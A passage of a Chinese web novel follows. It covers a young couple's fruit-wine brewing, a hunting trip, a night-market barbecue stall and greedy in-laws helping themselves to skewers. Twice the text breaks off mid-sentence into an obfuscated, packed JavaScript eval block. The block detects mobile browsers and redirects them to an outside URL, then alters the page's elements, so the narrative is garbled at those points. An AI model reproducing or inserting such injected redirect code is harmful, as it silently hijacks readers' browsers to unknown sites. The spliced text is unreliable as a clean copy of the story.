大黑轻轻汪了一声，转身离开了。 “你说它在想什么？” 霍云铮道：“在想怎样保护好这个家。” 吉如意发出一声喟叹，将大门关上。 霍云铮道：“我还以为你会问我如果遇到这种事情会怎么选？” 吉如意一脸莫名其妙地看着他：“你为什么要跟狗比？” 霍云铮被噎了一下，又忍不住大笑起来，说得有道理。 不确定那头狼还会不会回来，吉如意再三告诉吉上进天黑以后就不要出来，万一狼伤了人怎么办。 临走时又嘱咐了大黑一通，这才放心地走了。 好在那头狼再也没来过，只是大黑最近经常会失踪一段时间。 “应该是上山找那头狼了。”吉如意笃定道。 其他人也这么想的，这样也好，否则一头狼经常在村里出现，会引起村民们的恐慌的。就算霍云铮不出手，陈猎户也势必会出手。 眼看着树莓和笃斯一日比一日多，是时候酿酒了。 吉如意打算买些白糖回来：“你说县里卖的是不是会比平安镇上的要便宜很多？不如到县里去买，县里卖糖的人家多，一家比一家的，肯定会比镇上的便宜。而且咱们要的量大，平安镇上只怕没有这么多。” 霍云铮觉得他说得有理：“那不如去府城看看？” “那太远了吧，来回要好几天呢。” 买糖这事得霍云铮去，他担心他在路上的安全：“再说你还要打猎呢，去府城一来一回的，都够进山打一次猎了。” “那行，我明天起早去县城看看，”霍云铮说道，“咱们不全买，只先把酿树莓酒和笃斯酒的份买回来，以后看看能不能有机会去府城。” 吉如意点点头：“行，就按照你说得做。” 次日，霍云铮早早地去了县城，要到镇里搭车。 镇里也没有专门去府城的车，只能看看有没有货商，霍云铮很幸运，正好有家做生意的要去县城进货，他付了十文钱，坐着车去了县城。 县城果然比平安镇繁华很多，霍云铮这次学聪明了，找了几家做对比。最后，以每今六十五文的价格，买了一百斤的白糖，花了六两又五百文，还让店家赶车送到家。 又买了一些平安镇里没见过的果子和吃食，花了二百文。还买了最便宜的笔墨纸砚，打算记账用，又花了八百文。 等到家的时候，天都快黑了，吉如意摆摊去了并没在家，霍云铮便将自己买出来的东西分了一部分给吉上进，又给吉如意留了一部分。 吉如意的烧烤摊已经开了七天，以后的几天生意虽没有前两天好，但还是不差的。吉自强后来做的桌椅，也已经做好送过来了。 霍云铮放下心来，准备带着大黑上山打猎。 临行前，吉如意给他往板车上装东西，这次他不能和他一起去了，难免会惦心他吃得好不好，睡得好不好。 “我不多待，两三日便回。” “注意安全，咱家现在没那么缺银子了，不行就别去打猎了。”吉如意的语气里有着万分不舍。 霍云铮两只手放在他的肩膀上，视线与他一齐：“你养我啊？” 吉如意看着他笑：“养你啊，赘婿不都是要吃软饭的吗？” 霍云铮也笑：“赘婿不应该多多干活，免得在家里受气。” 吉如意轻轻锤了他一下：“谁敢给你气受？” 霍云铮马上捂住被吉如意打到的地方，“哎呦”“哎呦”地叫：“还说没给我气受？这都开始打我了。” “哼，这就叫打你了，这才哪到哪，”吉如意撸起了袖子，“我要让你尝尝什么才是真正地打。” 霍云铮转身就跑：“可不得了了，小夫郎打他的相公了！” 吉如意在后面追，霍云铮在前面跑，跑了没几步后，他猛地一回身，将毫无准备的吉如意抱在怀里。 四目相视，吉如意闭上了眼睛，霍云铮低下头，将唇覆在了小夫郎的红唇上。 霍云铮走后，吉如意只觉得这心空落落的，在屋子里静静待了半晌，听到姜临在外面叫他，急忙走了出去。 “如意，是不是要开始酿酒的？” 吉如意一拍脑门，把这事忘了。 树莓和笃斯已经能酿出来两缸了，他和姜临将所有果子清洗干净，这可是个力气活，水也不扔，用来浇了园子。 鸡总是探头探脑地想来吃，吉如意挑出几颗，扔给了那群小鸡崽。老抱子将它们照顾的很好，一个个水水灵灵的。 小鸡崽得了果子，叽叽喳喳地过去吃，有只母鸡蠢蠢欲动。 “呕——食——” 吉如意怒喝一声，它没敢再去了。可还有那不长眼的黄毛母鸡想分一杯羹，老抱子气得半张开翅膀，毛都竖起来了，朝着黄毛母鸡狠狠啄了一口。 黄毛母鸡大叫一声，也亮开架势，朝着老抱子叼去。 吉如意急忙离开战场，免得被波及到。 没过一会儿，战争以老抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643194|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的胜利而告终。 吉如意出来的时候，只见地上残留着几根黄毛，皱着眉挥挥空气中掀起的尘土。 酿好酒以后，乔哥儿就来了，三人又开始了今天的伙计。 到了夜市后，照旧像往常一样将桌椅板凳，烧烤炉子摆放好。 没过多久，陆续有了客。 “你家相公呢？” 吉如意抬头望去，对前面的汉子有点儿印象，几天前来吃过：“他进山打猎去了。” “小伙子还会打猎啊，”汉子四十左右岁，一脸的络腮胡，挑起大拇指，“真是这个。” 吉如意笑了笑：“只不过是混口饭吃罢了。” 汉子道：“你家汉子什么时候回来？打回来的野物是不是也要烤着卖了？” 这个吉如意倒是没想过，不过汉子这么一说，倒是提醒了他。对啊，他们现在可以不卖给福满堂了，完全可以自己烤了卖，这样岂不是赚得更多？ 吉如意含糊道：“过个两三天就回，不过不知道能不能猎到什么。” “那我这几天天天来，我就好吃那一口野物。”汉子爽朗一笑，找了地坐下。 刚才他们俩说的话，也被一些人听到，有人也动起了心思。能来这里吃烧烤的，都是不差银子的，总是这些东西，人都会吃腻的。要是有隔三差五地换换食谱，想必客人会很多。 “意哥儿——” 吉如意听到有人在叫他，抬头去看，就见姜兆站在他面前。 “大舅，你怎么来了。” 吉如意十分欣喜，那边的姜临听到了忙擦着手过来看。 “快坐，”刚好有张空桌，吉如意带着他走了过去，“怎么这个时间来了镇上？只有你一个人来的吗？” 姜兆坐下去有些局促：“来镇里办点儿事就耽搁了，想着这个点儿你们也该来了，就过来看看你们。” “小爹爹，你先和大舅说说话，我得看着烤串。” 吉如意又急急忙忙地走了，他得把烤串翻个面，免得糊了。 还不到一盏茶的功夫，又来了人，姜兆忙站起来给他让位。 “那我就走了。”姜兆似乎有话要说，又不好意思说。 吉如意忙阻止：“先别走，我给你烤些串带回去吃。” 姜兆连连摆手：“不了不了，这东西贵得狠，快留着卖银子吧。” “小爹爹，你别让大舅走。”吉如意给姜临使了个眼色，然后又找到余小川，给了他一些银子，让他帮自己买点儿东西回来，好让姜兆带回去。 “大姐，你卖的那几样糕一样给我拿十块。” 卖糕大姐一共有六样糕，要是以前，吉如意也不会买这么多，现在手里有银子了，自然是要多买一些的。而且看着虽多，但姜家人口多，分到每人头上，不过是几块而已。 卖糕大姐做了笔大生意，乐得见眉不见眼，又多给了三块好的，还捡了几块卖相不好的，一并给了吉如意。 那日她自己回家，吉如意叫余小川送她的这份情她始终记得，而且因吉如意的缘故，她家的生意也比以前更好了， 45. 第四十五 余小山很快就将东西都买了回来，吉如意把东西给了姜兆，姜兆说什么都不要。俩人免不了又拉扯一番，姜兆只好将东西收了。 拿完东西后，就要走，吉如意不让他走，说烤串还没考好呢，姜兆铁了心不要。已经拿了这么多东西了，又拿烤串，像什么话！ 姜临在从中说和，不要就不要了，吉如意也就作罢。 姜兆匆匆忙忙要走，吉如意和姜临使了个眼色后又叫住了姜兆：“大舅，你是不是还有话没说？” 姜兆收了这么多东西，还哪好意思再说什么话，只说没有了，就是来看看他们的。 但姜兆这副样子，让父子俩笃定了一定有什么事。吉如意将乔哥儿叫了来，让他帮着自己看着炉子，他和姜临带着姜兆去了一旁。 “大舅，有什么话你就说，我们能帮上忙得一定帮。” “是啊，你不说不是让我着急吗？是娘病了？还是家里出了事。” “没，都没有，”姜兆也顾不得脸面不脸面的，只好将来意说了出来，“我其实是想来看看摊子还缺不缺人……” 剩下的话姜兆没说出来，父子俩也明白了。姜家过得穷苦，短工也不好找，如果吉如意这里用人，他们多少能赚点儿，日子不就好过一些了吗。 “现在不缺人，大舅你放心，我们会想着你们的。” 早在最开始，吉如意和姜临就商量过此事，只是实在没有再用人的地方。 姜兆也看到了，他们这里的人手已经够了，也加不进别人。 姜兆也是一脸的不好意思，又彼此说了几句话，就走了。 吉如意轻轻叹了口气。 送走了姜兆，没过多一会儿，吉如意就听到旁边传来一个惊喜的声音。 “是亲家不！” 姜临正专心地拌着凉菜，冷不丁听到有人站在他面前大声说话，倒是吓了一跳。 他抬头看去，见面前站着一个妇人，年纪应该和他差不多，眼窝深陷，但眼睛很亮，不住地由上而下地打量着他，不说话时嘴角下垂。不认识，姜临还以为她认错了人，刚要说话，给客人上完菜的余小山看到了，忙站到他旁边介绍着：“这是我大哥的婆婆。” 姜临恍然，怪不得叫他亲家呢，也确实是亲家。 “快坐快坐，”姜临脸上带着真诚的笑意，“这位是……” 姜临这才瞧见赵凤珍身边还站着一个汉子，中等个头，长得和赵凤珍很像，莫不是溪哥儿的相公。 赵凤珍脸上堆起笑意，一笑起来额头和眼睛处的皱纹更深了：“这是我家老二，叫冯虎。虎子，叫婶夫郎。” 冯虎叫了一声婶夫郎。 余小山用着气音：“他是我哥夫的弟弟。” 原来不是溪哥儿的相公，幸好没贸贸然地说话。 “那边的是我儿子，”姜临做着介绍，又喊了吉如意一声，“意哥儿，这是小山大哥的婆婆。” 吉如意那边正忙着，不好过来与他们聊天，只回过身来说道：“大娘，你们先坐，我忙完了再过去。” 小哥儿眉目如画，眼波潋滟，回眸一笑明艳动人。冯虎从来没有见过这么好看的哥儿，当即愣在了原地。 “小山，快去给你大娘他们找个地儿坐，”姜临热情地招待着他们，让余小山给他们找位子，“大姐，你们先坐着，我忙完这阵再陪你。” 赵凤珍连连答应着，恰好有一桌吃完了要结账：“老板，一共多少银子？” 余小川走过去算价钱：“客官，一共一百二十三文，收您一百二十文。” 那桌挺满意，数出一百二十文给了余小川，余小川又把银子给了吉如意。 赵凤珍看得咋舌，这镇上的人也太有钱了，这么一顿就花出去这么多的银子，可真舍得。 赵凤珍和冯虎坐下以后，姜临在那边提高声音说道：“小山，问问你大娘他们吃什么？” 说完又觉得不太妥当，又补充了一句：“大姐，烤串都在这边，不如你们来这里选些自己爱吃的。” 赵凤珍与冯虎头碰头：“要不要银子啊？” 冯虎低声道：“不能要吧，他没说啊。” “说得也是，亲戚之间吃个东西还能要银子？” 赵凤珍翻了下眼皮，“他要是要，咱们也不给。” 余小山又带着他们去挑烤串：“我大哥怎么没来？” “他在家里忙着呢，”赵凤珍一看到那么多东西，不自觉地咽了下口水，“你大哥夫来年就要考秀才了，他自然得在家里维持着。” “有什么好维持的，”余小山嘀咕着，“又不是我大哥考，这么一会儿功夫都没有？” 赵凤珍所有的注意力全都放在了烤串上面，余小山说话声音又小，她根本没在意。 她和冯虎别的不拿，只往肉上盯。别的东西多便宜啊，肉多贵啊，有肉不吃吃青菜，那不是傻子吗？ 余小山看他们俩每人都拿了一大把，有些站不住了：“那个土豆片也好吃，还有那个烤大蒜，都可好吃了，一点儿不比肉差。” 赵凤珍没理他，他懂什么，再好吃还能有肉好吃？ 余小山急得团团转，差点儿上手去抢：“那些是给客人们留的，你们不能再拿了。” 赵凤珍显然不信，还要再拿，再说了，给客人留的关她什么事？ 余小川不知从哪冒出来的，直接将还没有被这对母子拿走的肉串全都端起来。 “你干什么！”嗓音因不满而变得十分尖锐。 “怎么了？”姜临伸着头往这边看。 “没事，我们帮大娘挑烤串呢。” 余小山觉得丢脸极了，拿这么多这么贵的，这让吉家怎么看他们？ 赵凤珍终于还有点儿脸面，没有再追上去，反正也拿了不少了，也够他们娘俩吃了。 她拿着串要去给吉如意，余小山拦住她，连连说道：“我去给，我去给，你们坐那儿。” 赵凤珍就没有去，她还没怎么享受过这种去饭馆吃饭被小二伺候的待遇呢，今儿个也好好享受一把。 便将串给了余小山，余小川端着东西又回来了，脸色十分难看。 “二哥，他们怎么这样啊。” 之前谁都说大哥找了个好人家，就连他们也是这么认为的，可今天的事实在是丢脸。 “先别说了。” 余小山将赵凤珍挑的大部分肉串都放了回去，又挑了些便宜的青菜放到里面， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655734|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示意余小川给吉如意拿去。 吉如意当然知道这是姜临让赵凤珍他们挑的，他见肉不怎么多，就又多添了一些肉。人家不好意思拿，他们总不能太小气了不是。 赵凤珍和冯虎坐下来等着烤串，一时没了事，眼睛滴溜溜乱转。 看罢多时，赵凤珍用胳膊肘怼怼冯虎：“你看来吃的人可不少，这张桌的人走了，马上又有新来的坐下。” 冯虎将视线从吉如意的身上收回来：“我听说有那干的好的，只干了一年的夜市，都能在镇上买套房了。就算干的差一点儿的，也能对付个十来两银子。” 赵凤珍瞪圆了双眼：“这么赚钱？”她这么一瞪，额头上的褶子更多了。 “那咱们也摆个烧烤摊，你看生意这么好，就这一夏天得赚多少银子，我看十两可不止，”那些食客们付银子她可都看着呢，花钱水一样，看着都吓人，“我看着也不难，不就是把东西串成串，再用火烤一下吗。” “你知道光是打一个烧烤炉，做一些铁签子得多少银子吗？”冯虎用手比出一个数，“这还不算做桌椅板凳，木签子，买调料，交摊位费的银子呢。” 赵凤珍惊得合不拢嘴：“得这么多银子？” 冯虎瞧不起母亲这种没见识的模样，翻了个白眼：“你想想买口铁锅还多少银子呢？” 赵凤珍一想也是，一口锅在农户人家可是重要财产的。分家时，有的人家为了一口锅闹得不可开交得有都是。 烧烤是容易做，可投入的本钱大，这就将很多人都拒之门外，要不然平安镇到处都是卖烧烤的了。 “亲家，先吃点儿凉菜。”姜临怕赵凤珍觉得他们怠慢了他，就先做了盘凉菜亲自给他们端了上来。 赵凤珍赔了个笑脸，连声说让他快去忙，不用管他们。她这个人，有时候在外人面前还是能装一装的，这也是当初为何能骗过余家的原因。 赵凤珍看着姜临的背影，白眼都要翻到天上去了：“你看他都多大年纪了，走路还扭来扭去的，一副狐媚样。” “你是嫉妒他长得比你年轻好看吧，”冯虎毫不留情戳穿了赵凤珍，“你们俩的岁数应该差不多大，但你看起来至少比他老了十岁。” 赵凤珍气得咬了咬牙：“我还不是因为你们操劳的？” 冯虎显然不领情，拿起筷子夹了一口菜。好吃！ 赵凤珍做饭的手艺不怎么样，会做的菜式也少，翻来覆去就会做那么几道。余小溪嫁过来以后，做饭一事就落在了他的身上。余小溪的手艺不错，可做了几顿后，就被赵凤珍说他费油费盐费调料，不会过日子，将这些东西都锁了起来，只在做饭的时候由她倒出来一些，让余小溪放锅里，这样做出来的菜当然不好吃。 余小山和余小川都对赵凤珍母子俩感到不满，将吉如意他们送回家后，俩兄弟赶着牛车往家里走。 “这事先别告诉娘了，”余小山嘱咐着弟弟，“我是说他们拿烤串的那事。” 余小川沉默了一瞬：“二哥，你说大哥在他们家真的过的好吗？我想去看看他。” 余小山：“等云铮哥打猎回来了咱们就去。” 两兄弟商量已定，只是没想到，第二天余小溪竟然回来了。